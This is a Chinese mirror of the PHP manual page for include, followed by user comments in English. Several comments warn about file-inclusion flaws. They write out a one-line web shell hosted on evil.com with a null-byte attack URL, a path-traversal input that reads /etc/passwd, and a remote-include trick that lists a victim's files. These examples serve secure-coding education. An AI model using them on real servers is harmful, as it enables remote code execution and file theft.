• 首页
  • vue
  • TypeScript
  • JavaScript
  • scss
  • css3
  • html5
  • php
  • MySQL
  • redis
  • jQuery
  • include

    (PHP 4, PHP 5, PHP 7)

    include语句包含并运行指定文件。

    以下文档也适用于require。

    被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照include_path指定的目录寻找。如果在include_path下没找到该文件则include最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则include结构会发出一条警告;这一点和require不同,后者会发出一个致命错误。

    如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者开头,在 Unix/Linux 下以/开头)还是当前目录的相对路径(以.或者..开头)——include_path都会被完全忽略。例如一个文件以../开头,则解析器会在当前目录的父目录下寻找该文件。

    有关 PHP 怎样处理包含文件和包含路径的更多信息参见include_path部分的文档。

    当一个文件被包含时,其中所包含的代码继承了 include 所在行的变量范围。从该处开始,调用文件在该行处可用的任何变量在被调用的文件中也都可用。不过所有在包含文件中定义的函数和类都具有全局作用域。

    Example #1 基本的include例子

    vars.php
    <?php
    $color = 'green';
    $fruit = 'apple';
    ?>
    test.php
    <?php
    echo "A $color $fruit"; // A
    include 'vars.php';
    echo "A $color $fruit"; // A green apple
    ?>
    

    如果 include 出现于调用文件中的一个函数里,则被调用的文件中所包含的所有代码将表现得如同它们是在该函数内部定义的一样。所以它将遵循该函数的变量范围。此规则的一个例外是魔术常量,它们是在发生包含之前就已被解析器处理的。

    Example #2 函数中的包含

    <?php
    function foo()
    {
        global $color;
        include 'vars.php';
        echo "A $color $fruit";
    }
    /* vars.php is in the scope of foo() so     *
     * $fruit is NOT available outside of this  *
     * scope.  $color is because we declared it *
     * as global.                               */
    foo();                    // A green apple
    echo "A $color $fruit";   // A green
    ?>
    

    当一个文件被包含时,语法解析器在目标文件的开头脱离 PHP 模式并进入 HTML 模式,到文件结尾处恢复。由于此原因,目标文件中需要作为 PHP 代码执行的任何代码都必须被包括在有效的 PHP 起始和结束标记之中。

    如果“URL include wrappers”在 PHP 中被激活,可以用 URL(通过 HTTP 或者其它支持的封装协议——见支持的协议和封装协议)而不是本地文件来指定要被包含的文件。如果目标服务器将目标文件作为 PHP 代码解释,则可以用适用于 HTTP GET 的 URL 请求字符串来向被包括的文件传递变量。严格的说这和包含一个文件并继承父文件的变量空间并不是一回事;该脚本文件实际上已经在远程服务器上运行了,而本地脚本则包括了其结果。

    Example #3 通过 HTTP 进行的include

    <?php
    /* This example assumes that www.example.com is configured to parse .php *
     * files and not .txt files. Also, 'Works' here means that the variables *
     * $foo and $bar are available within the included file.                 */
    // Won't work; file.txt wasn't handled by www.example.com as PHP
    include 'http://www.example.com/file.txt?foo=1&bar=2';
    // Won't work; looks for a file named 'file.php?foo=1&bar=2' on the
    // local filesystem.
    include 'file.php?foo=1&bar=2';
    // Works.
    include 'http://www.example.com/file.php?foo=1&bar=2';
    $foo = 1;
    $bar = 2;
    include 'file.txt';  // Works.
    include 'file.php';  // Works.
    ?>
    
    Warning安全警告

    远程文件可能会经远程服务器处理(根据文件后缀以及远程服务器是否在运行 PHP 而定),但必须产生出一个合法的 PHP 脚本,因为其将被本地服务器处理。如果来自远程服务器的文件应该在远端运行而只输出结果,那用readfile()函数更好。另外还要格外小心以确保远程的脚本产生出合法并且是所需的代码。

    相关信息参见使用远程文件,fopen()和file()。

    处理返回值:在失败时include返回FALSE并且发出警告。成功的包含则返回1,除非在包含文件中另外给出了返回值。可以在被包括的文件中使用return语句来终止该文件中程序的执行并返回调用它的脚本。同样也可以从被包含的文件中返回值。可以像普通函数一样获得 include 调用的返回值。不过这在包含远程文件时却不行,除非远程文件的输出具有合法的 PHP 开始和结束标记(如同任何本地文件一样)。可以在标记内定义所需的变量,该变量在文件被包含的位置之后就可用了。

    因为include是一个特殊的语言结构,其参数不需要括号。在比较其返回值时要注意。

    Example #4 比较 include 的返回值

    <?php
    // won't work, evaluated as include(('vars.php') == TRUE), i.e. include('')
    if (include('vars.php') == TRUE) {
        echo 'OK';
    }
    // works
    if ((include 'vars.php') == TRUE) {
        echo 'OK';
    }
    ?>
    

    Example #5include和return语句

    return.php
    <?php
    $var = 'PHP';
    return $var;
    ?>
    noreturn.php
    <?php
    $var = 'PHP';
    ?>
    testreturns.php
    <?php
    $foo = include 'return.php';
    echo $foo; // prints 'PHP'
    $bar = include 'noreturn.php';
    echo $bar; // prints 1
    ?>
    

    $bar的值为1是因为 include 成功运行了。注意以上例子中的区别。第一个在被包含的文件中用了return而另一个没有。如果文件不能被包含,则返回FALSE并发出一个E_WARNING警告。

    如果在包含文件中定义有函数,这些函数不管是在return之前还是之后定义的,都可以独立在主文件中使用。如果文件被包含两次,PHP 5 发出致命错误因为函数已经被定义,但是 PHP 4 不会对在return之后定义的函数报错。推荐使用include_once而不是检查文件是否已包含并在包含文件中有条件返回。

    另一个将 PHP 文件“包含”到一个变量中的方法是用输出控制函数结合include来捕获其输出,例如:

    Example #6 使用输出缓冲来将 PHP 文件包含入一个字符串

    <?php
    $string = get_include_contents('somefile.php');
    function get_include_contents($filename) {
        if (is_file($filename)) {
            ob_start();
            include $filename;
            $contents = ob_get_contents();
            ob_end_clean();
            return $contents;
        }
        return false;
    }
    ?>
    

    要在脚本中自动包含文件,参见php.ini中的auto_prepend_file和auto_append_file配置选项。

    Note:因为是一个语言构造器而不是一个函数,不能被可变函数调用。

    参见require,require_once,include_once,get_included_files(),readfile(),virtual()和include_path。

    This might be useful:
    <?php
    include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
    ?>
    So you can move script anywhere in web-project tree without changes.
    If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:
    <?php
    # index.php
    define('what', 'ever');
    include 'includeFile.php';
    # includeFile.php
    // check if what is defined and die if not
    ?>
    The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".
    <?php
    # index.php (in document root (/usr/share/nginx/html))
    include __DIR__ . '/../src/includeFile.php';
    ?>
    Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.
    I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
    Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.
    Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).
    As example #3 points out, it is possible to include a php file from a remote server.
    The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code:
    <?php
    // Bad Code
    $path = $_GET['path'];
    include $path . 'example-config-file.php';
    ?>
    As a programmer, you might expect the user to browse to the path that you specify.
    However, it opens up an RFI vulnerability. To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.
    evil.txt
    <?php echo shell_exec($_GET['command']);?>
    It is a text file so it would not be processed on my server but on the target/victim server. I would browse to:
    h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00
    The example.php would download my evil.txt and process the operating system command that I passed in as the command variable. In this case, it is whoami. I ended the path variable with a %00, which is the null character. The original include statement in the example.php would ignore the rest of the line. It should tell me who the web server is running as.
    Please use proper input validation if you use variables in an include statement.
    As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:
    ----
    <?php // prepend.php - autoprepended at the top of your tree
    define('MAINDIR',dirname(__FILE__) . '/');
    define('DL_DIR',MAINDIR . 'downloads/');
    define('LIB_DIR',MAINDIR . 'lib/');
    ?>
    ----
    and so on. This way, the files in your framework will only have to issue statements such as this:
    <?php
    require_once(LIB_DIR . 'excel_functions.php');
    ?>
    This also frees you from having to check the include path each time you do an include.
    If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:
    --
    <?php
    include(dirname(dirname(__FILE__)) . '/prepend.php');
    ?>
    --
    This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
    Sometimes it will be usefull to include a string as a filename
    <?php
    //get content
    $cFile = file_get_contents('crypted.file');
    //decrypt the content
    $content = decrypte($cFile);
    //include this
    include("data://text/plain;base64,".base64_encode($content));
    //or
    include("data://text/plain,".urlencode($content));
    ?>
    
    When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
    This is an example to demonstrate the situation :
    We have two directory structure :
    -dir1
    ----script.php
    ----test
    ----dir1_test
    -dir2
    ----test
    ----dir2_test
    dir1/test contains the following text :
    This is test in dir1
    dir2/test contains the following text:
    This is test in dir2
    dir1_test contains the following text:
    This is dir1_test
    dir2_test contains the following text:
    This is dir2_test
    script.php contains the following code:
    <?php
    echo 'Directory of the current calling script: ' . __DIR__;
    echo '<br />';
    echo 'Current working directory: ' . getcwd();
    echo '<br />';
    echo 'including "test" ...';
    echo '<br />';
    include 'test';
    echo '<br />';
    echo 'Changing current working directory to dir2';
    chdir('../dir2');
    echo '<br />';
    echo 'Directory of the current calling script: ' . __DIR__;
    echo '<br />';
    echo 'Current working directory: ' . getcwd();
    echo '<br />';
    echo 'including "test" ...';
    echo '<br />';
    include 'test';
    echo '<br />';
    echo 'including "dir2_test" ...';
    echo '<br />';
    include 'dir2_test';
    echo '<br />';
    echo 'including "dir1_test" ...';
    echo '<br />';
    include 'dir1_test';
    echo '<br />';
    echo 'including "./dir1_test" ...';
    echo '<br />';
    (@include './dir1_test') or die('couldn\'t include this file ');
    ?>
    The output of executing script.php is :
    Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
    Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
    including "test" ...
    This is test in dir1
    Changing current working directory to dir2
    Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
    Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
    including "test" ...
    This is test in dir2
    including "dir2_test" ...
    This is dir2_test
    including "dir1_test" ...
    This is dir1_test
    including "./dir1_test" ...
    couldn't include this file
    If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)
    Wade.
    It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR. If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows. (In a semi-related way, there is a smart end-of-line character, PHP_EOL)
    Example:
    <?php 
    $cfg_path
    = 'includes'
    . DIRECTORY_SEPARATOR
    . 'config.php'
    ;
    require_once($cfg_path);
    A word of warning about lazy HTTP includes - they can break your server.
    If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.
    Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
    Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.
    ( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );
    Be very careful with including files based on user inputed data. For instance, consider this code sample:
    index.php:
    <?php
    $page = $_GET['page'];
    if (file_exists('pages/'.$page.'.php'))
    {
      include('pages/'.$page.'.php');
    }
    ?>
    Then go to URL:
    index.php?page=/../../../../../../etc/passwd%00.html
    file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.
    Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.
    You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it. Better yet, know exactly what options you can accept and accept only those options.
    It is also able to include or open a file from a zip file:
    <?php
    include "something.zip#script.php";
    echo file_get_contents("something.zip#script.php");
    ?>
    Note that instead of using / or \, open a file from a zip file uses # to separate zip name and inner file's name.
    I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.
    Consider the following:
    <?php
    include '/Path/To/File.php';
    ?>
    In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.
    However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn't exist in the root path.
    I just thought I'd mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.
    A work around would be something like:
    <?php
    $documentRoot = null;
    if (isset($_SERVER['DOCUMENT_ROOT'])) {
      $documentRoot = $_SERVER['DOCUMENT_ROOT'];
      
      if (strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
        if (strstr($documentRoot, '/')) {
          $documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
        }
        elseif (strstr($documentRoot, '\\')) {
          $documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
        }
      }
      
      if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
        $documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
        $documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
      }
    }
    else {
      /**
       * I usually store this file in the Includes folder at the root of my
       * virtual host. This can be changed to wherever you store this file.
       * 
       * Example:
       * If you store this file in the Application/Settings/DocRoot folder at the
       * base of your site, you would change this array to include each of those
       * folders.
       * 
       * <code>
       * $directories = array(
       *   'Application',
       *   'Settings',
       *   'DocRoot'
       * );
       * </code>
       */
      $directories = array(
        'Includes'
      );
      
      if (defined('__DIR__')) {
        $currentDirectory = __DIR__;
      }
      else {
        $currentDirectory = dirname(__FILE__);
      }
      
      $currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
      $currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;
      
      foreach ($directories as $directory) {
        $currentDirectory = str_replace(
          DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
          DIRECTORY_SEPARATOR,
          $currentDirectory
        );
      }
      
      $currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
    }
    define('SERVER_DOC_ROOT', $documentRoot);
    ?>
    Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.
    Example:
    <?php
    include SERVER_DOC_ROOT . '/Path/To/File.php';
    ?>
    
    I would like to emphasize the danger of remote includes. For example:
    Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:
    <?php
    // File: index.php
    include ($_GET['id'].".php");
    ?>
    This is, of course, not a very good way to program, but i actually found a program doing this.
    Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:
    <?php
    // File: list.php
    $output = "";
    exec("ls -al",$output);
    foreach($output as $line) {
    echo $line . "<br>\n";
    }
    ?>
    If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
    then Server B will execute list.php and Server A will include the output of Server B, a list of files.
    But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A! 
    I tried this on three different servers, and it allways worked.
    This is only an example, but there have been hacks uploading files to servers etc.
    So, allways be extremely carefull with remote includes.
    Just about any file type can be 'included' or 'required'. By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.
    You can also embed text in the output, like in the example below. But an image is still an image to the client's machine. The client must open the downloaded file as plain/text to see what you embedded.
    <?php 
    header('Content-type: image/jpeg');
    header('Content-Disposition: inline;');
    include '/some_image.jpg';
    echo 'This file was provided by example@user.com.';
    ?>
    Which brings us to a major security issue. Scripts can be hidden within images or files using this method. For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.
    'Including' any file made this way will execute those scripts. NEVER 'include' anything that you found on the web or that users upload or can alter in any way. Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"
    I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.
    Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
    <?php
    function include_all_once ($pattern) {
      foreach (glob($pattern) as $file) { // remember the { and } are necessary!
        include $file;
      }
    }
    // used like
    include_all_once('dir/*.php');
    ?>
    A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.
    If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:
    1) That the file you are trying to include has the appropriate "r" (read) permission set, and
    2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.
    Notice that using @include (instead of include without @) will set the local value of error_reporting to 0 inside the included script.
    Consider the following:
    <?php
      ini_set('error_reporting', E_ALL);
      echo "Own value before: ";
      echo ini_get('error_reporting');
      echo "\r\n";
      echo "include foo.php: ";
      include('foo.php');
      echo "@include foo.php: ";
      @include('foo.php');
      echo "Own value now: " . ini_get('error_reporting');
    ?>
    foo.php
    <?php
      echo ini_get('error_reporting') . "\r\n";
    ?>
    Output:
      Own value before: 32767
      include foo.php: 32767
      @include foo.php: 0
      Own value now: 32767
    To Windows coders, if you are upgrading from 5.3 to 5.4 or even 5.5; if you have have coded a path in your require or include you will have to be careful. Your code might not be backward compatible. To be more specific; the code escape for ESC, which is "\e" was introduced in php 5.4.4 + but if you use 5.4.3 you should be fine. For instance:
    Test script:
    -------------
    <?php
    require("C:\element\scripts\include.php");
    ?>
    In php 5.3.* to php 5.4.3
    ----------------------------
    If you use require("C:\element\scripts\include.php") it will work fine.
    If php 5.4.4 + It will break.
    ------------------------------
    Warning: require(C:←lement\scripts\include.php): failed to open stream: In
    valid argument in C:\element\scripts\include.php on line 20
    Fatal error: require(): Failed opening required 'C:←lement\scripts\include.php
    Solution:
    -----------
    Theoretically, you should be always using "\\" instead of "\" when you write php in windows machine OR use "/" like in Linux and you should fine since "\" is an escape character in most programming languages.
    If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).
    I hope this makes sense and I hope it will someone sometime down the road.
    cheers,
    While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).
    For example, we have two files, file 1.php contains...
    <?php
     function &x(&$y)
     {
      return include(dirname(__FILE__) . '/2.php');
     }
     $z = "FOO\n";
     $z2 = &x($z);
     echo $z2;
     $z = "NOO\n";
     
     echo $z2;
    ?>
    and file 2.php contains...
    <?php return $y; ?>
    calling 1.php will produce
    FOO
    FOO
    i.e the reference passed to x() is broken on it's way out of the include()
    Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case). And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).
    The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.
    ---
    James Sleeman
    http://www.gogo.co.nz/

    上篇:require

    下篇:require_once